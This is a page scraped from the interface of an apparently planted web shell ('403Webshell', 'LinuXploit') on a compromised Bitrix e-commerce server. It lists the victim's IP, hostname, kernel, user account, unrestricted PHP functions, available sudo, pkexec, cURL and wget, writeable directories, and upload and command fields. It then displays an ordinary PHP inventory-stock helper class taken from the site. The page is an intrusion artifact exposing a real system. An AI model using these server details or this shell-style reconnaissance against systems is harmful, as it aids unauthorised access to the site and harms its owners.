403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.ozonapinew/lib/Stocks/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/wbs24.ozonapinew/lib/Stocks/Helper.php
<?php
namespace Wbs24\Ozonapinew\Stocks;

use Bitrix\Main\{
    Loader,
    SystemException
};
use Wbs24\Ozonapinew\{
    Main,
    Exception,
    Wrappers,
    Product
};

class Helper
{
    use Exception;

    protected $main;
    protected $moduleId;
    protected $wrappers;

    public function __construct(array $objects = [])
    {
        try {
            if (!Loader::IncludeModule('catalog')) {
                throw new SystemException("Catalog module isn`t installed");
            }
            if (!Loader::IncludeModule('iblock')) {
                throw new SystemException("Iblock module isn`t installed");
            }
            $this->main = $objects['Main'] ?? new Main();
            $this->moduleId = $this->main->getModuleId();
            $this->wrappers = new Wrappers($objects);

            $this->Product = $objects['Product'] ?? new Product();
            $this->productStockPropCode = $this->wrappers->Option->get(
                $this->moduleId,
                'productStockProperty'
            );
            $this->offerStockPropCode = $this->wrappers->Option->get(
                $this->moduleId,
                'offerStockProperty'
            );
        } catch (SystemException $exception) {
            $this->exceptionHandler($exception);
        }
    }

    public function getStockByProductId(int $productId, int $productType): int
    {
        $stock = 0;

        $whereStocksLocated = $this->wrappers->Option->get(
            $this->moduleId, 'stockType'
        );

        if ($whereStocksLocated == 'catalog_quantity') {
            $stock = $this->getAvailableStock($productId);
        } else if ($whereStocksLocated == 'stocks_from_property') {
            $stock = $this->getPropertyStock($productId, $productType);
        } else {
            $warehouseId = (int) $whereStocksLocated;
            $stock = $this->getWarehouseStock($productId, $warehouseId);
        }

        return intval($stock);
    }

    protected function getAvailableStock($productId)
    {
        $stock = 0;

        $select = ['ID', 'IBLOCK_ID', 'QUANTITY'];
        $filter = ['ID' => $productId];
        $source = 'stocks';
        $res = $this->Product->get($select, $filter, $source);

        if ($product = $res->Fetch()) {
            $stock = intval($product['QUANTITY']);
        }

        return $stock;
    }

    protected function getPropertyStock($productId, $productType)
    {
        $stock = 0;
        $simpleProductTypes = [1,2,3];
        $offerProductTypes = [4];

        if (in_array($productType, $simpleProductTypes)) {
            if (
                !$this->productStockPropCode
                || $this->productStockPropCode == 'nothing'
            ) return 0;

            $propertyCode = strtoupper($this->productStockPropCode);
            $select = ['ID', 'IBLOCK_ID', 'PROPERTY_'.strtoupper($this->productStockPropCode)];
        } else if (in_array($productType, $offerProductTypes)) {
            if (
                !$this->offerStockPropCode
                || $this->offerStockPropCode == 'nothing'
            ) return 0;

            $propertyCode = strtoupper($this->offerStockPropCode);
            $select = ['ID', 'IBLOCK_ID', 'PROPERTY_'.strtoupper($this->offerStockPropCode)];
        }

        $filter = ['ID' => $productId];
        $source = 'stocks';
        $res = $this->Product->get($select, $filter, $source);

        if ($product = $res->Fetch()) {
            $stock = intval($product['PROPERTY_'.$propertyCode.'_VALUE']) ?? 0;
        }

        return $stock;
    }

    protected function getWarehouseStock($productId, $warehouseId)
    {
        $stock = 0;
        $select = ['ID', 'IBLOCK_ID', 'STORE_AMOUNT_'.$warehouseId];
        $filter = ['ID' => $productId];
        $source = 'stocks';
        $res = $this->Product->get($select, $filter, $source);

        if ($product = $res->Fetch()) {
            $stock = intval($product['STORE_AMOUNT_'.$warehouseId]) ?? 0;
        }

        return $stock;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit